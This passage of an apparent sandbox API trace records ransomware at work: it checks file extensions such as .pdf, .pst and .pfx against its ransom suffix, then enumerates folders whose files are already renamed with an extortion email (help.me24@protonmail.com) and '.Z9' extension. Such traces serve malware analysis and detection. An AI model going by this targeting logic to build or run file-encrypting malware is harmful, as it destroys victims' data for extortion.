	[0160.335] lstrcmpiW (lpString1=".myd", lpString2="].Z9") returned -1
	[0160.335] lstrlenW (lpString=".myi") returned 4
	[0160.335] lstrcmpiW (lpString1=".myi", lpString2="].Z9") returned -1
	[0160.335] lstrlenW (lpString=".nef") returned 4
	[0160.335] lstrcmpiW (lpString1=".nef", lpString2="].Z9") returned -1
	[0160.335] lstrlenW (lpString=".nrw") returned 4
	[0160.335] lstrcmpiW (lpString1=".nrw", lpString2="].Z9") returned -1
	[0160.335] lstrlenW (lpString=".obj") returned 4
	[0160.335] lstrcmpiW (lpString1=".obj", lpString2="].Z9") returned -1
	[0160.335] lstrlenW (lpString=".odb") returned 4
	[0160.335] lstrcmpiW (lpString1=".odb", lpString2="].Z9") returned -1
	[0160.335] lstrlenW (lpString=".odc") returned 4
	[0160.335] lstrcmpiW (lpString1=".odc", lpString2="].Z9") returned -1
	[0160.335] lstrlenW (lpString=".odm") returned 4
	[0160.335] lstrcmpiW (lpString1=".odm", lpString2="].Z9") returned -1
	[0160.335] lstrlenW (lpString=".odp") returned 4
	[0160.335] lstrcmpiW (lpString1=".odp", lpString2="].Z9") returned -1
	[0160.335] lstrlenW (lpString=".ods") returned 4
	[0160.335] lstrcmpiW (lpString1=".ods", lpString2="].Z9") returned -1
	[0160.335] lstrlenW (lpString=".oft") returned 4
	[0160.335] lstrcmpiW (lpString1=".oft", lpString2="].Z9") returned -1
	[0160.335] lstrlenW (lpString=".one") returned 4
	[0160.335] lstrcmpiW (lpString1=".one", lpString2="].Z9") returned -1
	[0160.335] lstrlenW (lpString=".onepkg") returned 7
	[0160.335] lstrcmpiW (lpString1=".onepkg", lpString2="com].Z9") returned -1
	[0160.335] lstrlenW (lpString=".onetoc2") returned 8
	[0160.335] lstrcmpiW (lpString1=".onetoc2", lpString2=".com].Z9") returned 1
	[0160.335] lstrlenW (lpString=".opt") returned 4
	[0160.335] lstrcmpiW (lpString1=".opt", lpString2="].Z9") returned -1
	[0160.335] lstrlenW (lpString=".oqy") returned 4
	[0160.335] lstrcmpiW (lpString1=".oqy", lpString2="].Z9") returned -1
	[0160.335] lstrlenW (lpString=".orf") returned 4
	[0160.336] lstrcmpiW (lpString1=".orf", lpString2="].Z9") returned -1
	[0160.336] lstrlenW (lpString=".p12") returned 4
	[0160.336] lstrcmpiW (lpString1=".p12", lpString2="].Z9") returned -1
	[0160.336] lstrlenW (lpString=".p7b") returned 4
	[0160.336] lstrcmpiW (lpString1=".p7b", lpString2="].Z9") returned -1
	[0160.336] lstrlenW (lpString=".p7c") returned 4
	[0160.336] lstrcmpiW (lpString1=".p7c", lpString2="].Z9") returned -1
	[0160.336] lstrlenW (lpString=".pam") returned 4
	[0160.336] lstrcmpiW (lpString1=".pam", lpString2="].Z9") returned -1
	[0160.336] lstrlenW (lpString=".pbm") returned 4
	[0160.336] lstrcmpiW (lpString1=".pbm", lpString2="].Z9") returned -1
	[0160.336] lstrlenW (lpString=".pct") returned 4
	[0160.336] lstrcmpiW (lpString1=".pct", lpString2="].Z9") returned -1
	[0160.336] lstrlenW (lpString=".pcx") returned 4
	[0160.336] lstrcmpiW (lpString1=".pcx", lpString2="].Z9") returned -1
	[0160.336] lstrlenW (lpString=".pdd") returned 4
	[0160.336] lstrcmpiW (lpString1=".pdd", lpString2="].Z9") returned -1
	[0160.336] lstrlenW (lpString=".pdf") returned 4
	[0160.336] lstrcmpiW (lpString1=".pdf", lpString2="].Z9") returned -1
	[0160.336] lstrlenW (lpString=".pdp") returned 4
	[0160.336] lstrcmpiW (lpString1=".pdp", lpString2="].Z9") returned -1
	[0160.336] lstrlenW (lpString=".pef") returned 4
	[0160.336] lstrcmpiW (lpString1=".pef", lpString2="].Z9") returned -1
	[0160.336] lstrlenW (lpString=".pem") returned 4
	[0160.336] lstrcmpiW (lpString1=".pem", lpString2="].Z9") returned -1
	[0160.336] lstrlenW (lpString=".pff") returned 4
	[0160.336] lstrcmpiW (lpString1=".pff", lpString2="].Z9") returned -1
	[0160.336] lstrlenW (lpString=".pfm") returned 4
	[0160.336] lstrcmpiW (lpString1=".pfm", lpString2="].Z9") returned -1
	[0160.336] lstrlenW (lpString=".pfx") returned 4
	[0160.336] lstrcmpiW (lpString1=".pfx", lpString2="].Z9") returned -1
	[0160.336] lstrlenW (lpString=".pgm") returned 4
	[0160.336] lstrcmpiW (lpString1=".pgm", lpString2="].Z9") returned -1
	[0160.336] lstrlenW (lpString=".php") returned 4
	[0160.336] lstrcmpiW (lpString1=".php", lpString2="].Z9") returned -1
	[0160.337] lstrlenW (lpString=".php3") returned 5
	[0160.337] lstrcmpiW (lpString1=".php3", lpString2="m].Z9") returned -1
	[0160.337] lstrlenW (lpString=".php4") returned 5
	[0160.337] lstrcmpiW (lpString1=".php4", lpString2="m].Z9") returned -1
	[0160.337] lstrlenW (lpString=".php5") returned 5
	[0160.337] lstrcmpiW (lpString1=".php5", lpString2="m].Z9") returned -1
	[0160.337] lstrlenW (lpString=".phtml") returned 6
	[0160.337] lstrcmpiW (lpString1=".phtml", lpString2="om].Z9") returned -1
	[0160.337] lstrlenW (lpString=".pict") returned 5
	[0160.337] lstrcmpiW (lpString1=".pict", lpString2="m].Z9") returned -1
	[0160.337] lstrlenW (lpString=".pl") returned 3
	[0160.337] lstrcmpiW (lpString1=".pl", lpString2=".Z9") returned -1
	[0160.337] lstrlenW (lpString=".pls") returned 4
	[0160.337] lstrcmpiW (lpString1=".pls", lpString2="].Z9") returned -1
	[0160.337] lstrlenW (lpString=".pm") returned 3
	[0160.337] lstrcmpiW (lpString1=".pm", lpString2=".Z9") returned -1
	[0160.337] lstrlenW (lpString=".png") returned 4
	[0160.337] lstrcmpiW (lpString1=".png", lpString2="].Z9") returned -1
	[0160.337] lstrlenW (lpString=".pnm") returned 4
	[0160.337] lstrcmpiW (lpString1=".pnm", lpString2="].Z9") returned -1
	[0160.337] lstrlenW (lpString=".pot") returned 4
	[0160.337] lstrcmpiW (lpString1=".pot", lpString2="].Z9") returned -1
	[0160.337] lstrlenW (lpString=".potm") returned 5
	[0160.337] lstrcmpiW (lpString1=".potm", lpString2="m].Z9") returned -1
	[0160.337] lstrlenW (lpString=".potx") returned 5
	[0160.337] lstrcmpiW (lpString1=".potx", lpString2="m].Z9") returned -1
	[0160.337] lstrlenW (lpString=".ppa") returned 4
	[0160.337] lstrcmpiW (lpString1=".ppa", lpString2="].Z9") returned -1
	[0160.337] lstrlenW (lpString=".ppam") returned 5
	[0160.337] lstrcmpiW (lpString1=".ppam", lpString2="m].Z9") returned -1
	[0160.337] lstrlenW (lpString=".ppm") returned 4
	[0160.337] lstrcmpiW (lpString1=".ppm", lpString2="].Z9") returned -1
	[0160.337] lstrlenW (lpString=".pps") returned 4
	[0160.337] lstrcmpiW (lpString1=".pps", lpString2="].Z9") returned -1
	[0160.337] lstrlenW (lpString=".ppsm") returned 5
	[0160.338] lstrcmpiW (lpString1=".ppsm", lpString2="m].Z9") returned -1
	[0160.338] lstrlenW (lpString=".ppt") returned 4
	[0160.338] lstrcmpiW (lpString1=".ppt", lpString2="].Z9") returned -1
	[0160.338] lstrlenW (lpString=".pptm") returned 5
	[0160.338] lstrcmpiW (lpString1=".pptm", lpString2="m].Z9") returned -1
	[0160.338] lstrlenW (lpString=".pptx") returned 5
	[0160.338] lstrcmpiW (lpString1=".pptx", lpString2="m].Z9") returned -1
	[0160.338] lstrlenW (lpString=".prn") returned 4
	[0160.338] lstrcmpiW (lpString1=".prn", lpString2="].Z9") returned -1
	[0160.338] lstrlenW (lpString=".ps") returned 3
	[0160.338] lstrcmpiW (lpString1=".ps", lpString2=".Z9") returned -1
	[0160.338] lstrlenW (lpString=".psb") returned 4
	[0160.338] lstrcmpiW (lpString1=".psb", lpString2="].Z9") returned -1
	[0160.338] lstrlenW (lpString=".psd") returned 4
	[0160.338] lstrcmpiW (lpString1=".psd", lpString2="].Z9") returned -1
	[0160.338] lstrlenW (lpString=".pst") returned 4
	[0160.338] lstrcmpiW (lpString1=".pst", lpString2="].Z9") returned -1
	[0160.338] lstrlenW (lpString=".ptx") returned 4
	[0160.338] lstrcmpiW (lpString1=".ptx", lpString2="].Z9") returned -1
	[0160.338] lstrlenW (lpString=".pub") returned 4
	[0160.338] lstrcmpiW (lpString1=".pub", lpString2="].Z9") returned -1
	[0160.338] lstrlenW (lpString=".pwm") returned 4
	[0160.338] lstrcmpiW (lpString1=".pwm", lpString2="].Z9") returned -1
	[0160.338] lstrlenW (lpString=".pxr") returned 4
	[0160.338] lstrcmpiW (lpString1=".pxr", lpString2="].Z9") returned -1
	[0160.338] FindNextFileW (in: hFindFile=0x76eca8, lpFindFileData=0x372f800 | out: lpFindFileData=0x372f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x34ce9659, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x34ce9659, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x34d5bca3, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x122e6, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="LOCALI~1.Z9")) returned 1
	[0160.338] FindNextFileW (in: hFindFile=0x76eca8, lpFindFileData=0x372f800 | out: lpFindFileData=0x372f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x35e6585c, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x35e6585c, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x35f01773, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x4458, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="SETUPR~1.Z9")) returned 1
	[0160.339] FindNextFileW (in: hFindFile=0x76eca8, lpFindFileData=0x372f800 | out: lpFindFileData=0x372f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x35e6585c, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x35e6585c, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x35f01773, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x4458, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="SETUPR~1.Z9")) returned 0
	[0160.339] FindClose (in: hFindFile=0x76eca8 | out: hFindFile=0x76eca8) returned 1
	[0160.339] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x3ff2740 | out: hHeap=0x710000) returned 1
	[0160.339] FindNextFileW (in: hFindFile=0x76ed68, lpFindFileData=0x372fa7c | out: lpFindFileData=0x372fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x34f2590c, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x34f2590c, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1028", cAlternateFileName="")) returned 1
	[0160.339] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x3ff2740
	[0160.339] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1028\\*", lpFindFileData=0x372f800 | out: lpFindFileData=0x372f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x34f2590c, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x34f2590c, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x76e668
	[0160.340] FindNextFileW (in: hFindFile=0x76e668, lpFindFileData=0x372f800 | out: lpFindFileData=0x372f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x34f2590c, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x34f2590c, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0160.340] FindNextFileW (in: hFindFile=0x76e668, lpFindFileData=0x372f800 | out: lpFindFileData=0x372f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x34d5bca3, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x34d5bca3, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x34e4479a, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x1994, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="EULART~1.Z9")) returned 1
	[0160.341] FindNextFileW (in: hFindFile=0x76e668, lpFindFileData=0x372f800 | out: lpFindFileData=0x372f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x34e4479a, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x34e4479a, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x34f2590c, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0xee96, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="LOCALI~1.Z9")) returned 1
	[0160.341] FindNextFileW (in: hFindFile=0x76e668, lpFindFileData=0x372f800 | out: lpFindFileData=0x372f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x35aabe98, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x35aabe98, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x35b44592, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x3858, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="SETUPR~1.Z9")) returned 1
	[0160.341] FindNextFileW (in: hFindFile=0x76e668, lpFindFileData=0x372f800 | out: lpFindFileData=0x372f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x35aabe98, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x35aabe98, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x35b44592, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x3858, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="SETUPR~1.Z9")) returned 0
	[0160.341] FindClose (in: hFindFile=0x76e668 | out: hFindFile=0x76e668) returned 1
	[0160.342] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x3ff2740 | out: hHeap=0x710000) returned 1
	[0160.342] FindNextFileW (in: hFindFile=0x76ed68, lpFindFileData=0x372fa7c | out: lpFindFileData=0x372fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x34fbe11e, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x34fbe11e, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1029", cAlternateFileName="")) returned 1
	[0160.342] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x3ff2740
	[0160.342] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1029\\*", lpFindFileData=0x372f800 | out: lpFindFileData=0x372f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x34fbe11e, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x34fbe11e, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x76eda8
	[0160.343] FindNextFileW (in: hFindFile=0x76eda8, lpFindFileData=0x372f800 | out: lpFindFileData=0x372f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x34fbe11e, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x34fbe11e, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0160.343] FindNextFileW (in: hFindFile=0x76eda8, lpFindFileData=0x372f800 | out: lpFindFileData=0x372f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x34e8cec5, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x34e8cec5, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x34eff6da, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0xf74, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="EULART~1.Z9")) returned 1
	[0160.343] FindNextFileW (in: hFindFile=0x76eda8, lpFindFileData=0x372f800 | out: lpFindFileData=0x372f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x34eff6da, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x34eff6da, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x34fbe11e, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x13d46, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="LOCALI~1.Z9")) returned 1
	[0160.343] FindNextFileW (in: hFindFile=0x76eda8, lpFindFileData=0x372f800 | out: lpFindFileData=0x372f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x35b6a895, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x35b6a895, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x35b90ae9, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x4858, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="SETUPR~1.Z9")) returned 1
	[0160.343] FindNextFileW (in: hFindFile=0x76eda8, lpFindFileData=0x372f800 | out: lpFindFileData=0x372f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x35b6a895, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x35b6a895, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x35b90ae9, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x4858, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="SETUPR~1.Z9")) returned 0
	[0160.343] FindClose (in: hFindFile=0x76eda8 | out: hFindFile=0x76eda8) returned 1
	[0160.344] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x3ff2740 | out: hHeap=0x710000) returned 1
	[0160.344] FindNextFileW (in: hFindFile=0x76ed68, lpFindFileData=0x372fa7c | out: lpFindFileData=0x372fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x3500a65c, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x3500a65c, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1030", cAlternateFileName="")) returned 1
	[0160.344] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x3ff2740
	[0160.344] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1030\\*", lpFindFileData=0x372f800 | out: lpFindFileData=0x372f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x3500a65c, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x3500a65c, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x76e7a8
	[0160.345] FindNextFileW (in: hFindFile=0x76e7a8, lpFindFileData=0x372f800 | out: lpFindFileData=0x372f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x3500a65c, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x3500a65c, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0160.345] FindNextFileW (in: hFindFile=0x76e7a8, lpFindFileData=0x372f800 | out: lpFindFileData=0x372f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x34eff6da, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x34eff6da, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x34f97f48, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0xde4, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="EULART~1.Z9")) returned 1
	[0160.345] FindNextFileW (in: hFindFile=0x76e7a8, lpFindFileData=0x372f800 | out: lpFindFileData=0x372f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x34f71fc3, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x34f71fc3, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x3500a65c, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x130b6, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="LOCALI~1.Z9")) returned 1
	[0160.345] FindNextFileW (in: hFindFile=0x76e7a8, lpFindFileData=0x372f800 | out: lpFindFileData=0x372f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x35bb6d88, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x35bb6d88, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x35c0320c, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x4858, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="SETUPR~1.Z9")) returned 1
	[0160.345] FindNextFileW (in: hFindFile=0x76e7a8, lpFindFileData=0x372f800 | out: lpFindFileData=0x372f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x35bb6d88, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x35bb6d88, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x35c0320c, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x4858, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="SETUPR~1.Z9")) returned 0
	[0160.345] FindClose (in: hFindFile=0x76e7a8 | out: hFindFile=0x76e7a8) returned 1
	[0160.346] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x3ff2740 | out: hHeap=0x710000) returned 1
	[0160.346] FindNextFileW (in: hFindFile=0x76ed68, lpFindFileData=0x372fa7c | out: lpFindFileData=0x372fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x350308da, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x350308da, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1031", cAlternateFileName="")) returned 1
	[0160.346] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x3ff2740
	[0160.346] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1031\\*", lpFindFileData=0x372f800 | out: lpFindFileData=0x372f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x350308da, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x350308da, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x76ebe8
	[0160.347] FindNextFileW (in: hFindFile=0x76ebe8, lpFindFileData=0x372f800 | out: lpFindFileData=0x372f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x350308da, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x350308da, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0160.347] FindNextFileW (in: hFindFile=0x76ebe8, lpFindFileData=0x372f800 | out: lpFindFileData=0x372f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x34f97f48, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x34f97f48, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x34fe4436, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0xe44, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="EULART~1.Z9")) returned 1
	[0160.347] FindNextFileW (in: hFindFile=0x76ebe8, lpFindFileData=0x372f800 | out: lpFindFileData=0x372f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x34fe4436, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x34fe4436, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x3500a65c, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x142a6, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="LOCALI~1.Z9")) returned 1
